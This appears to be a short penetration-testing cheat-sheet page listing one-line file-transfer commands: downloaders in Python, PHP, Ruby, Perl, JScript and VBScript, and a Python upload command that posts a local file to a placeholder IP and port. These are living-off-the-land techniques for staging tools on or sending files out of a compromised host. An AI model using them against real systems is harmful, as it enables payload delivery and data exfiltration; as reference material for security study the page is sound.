Code
Download
Python2
python2.7 -c 'import urllib;urllib.urlretrieve ("<URL_FILE>", "<NEW_NAME>")'
Python3
python3 -c 'import urllib.request;urllib.request.urlretrieve("<URL_FILE>", "<NEW_NAME>")'
PHP
php -r '$file = file_get_contents("<URL_FILE>"); file_put_contents("<NEW_NAME>",$file);'
Ruby
ruby -e 'require "net/http"; File.write("<NEW_NAME>", Net::HTTP.get(URI.parse("<URL_FILE>")))'
Perl
perl -e 'use LWP::Simple; getstore("<URL_FILE>", "<NEW_NAME>");'
JavaScript
download.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
cscript.exe /nologo download.js <URL_FILE> <NEW_NAME>
VBScript
download.vbs
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
cscript.exe /nologo download.vbs <URL_FILE> <NEW_NAME>
Upload
Python3
python3 -c 'import requests;requests.post("http://<IP>:<PORT>/<DIR>",files={"files":open("<FILE>","rb")})'
Etc.
It is possible with all the other languages in the download section but also others.
Last updated
Was this helpful?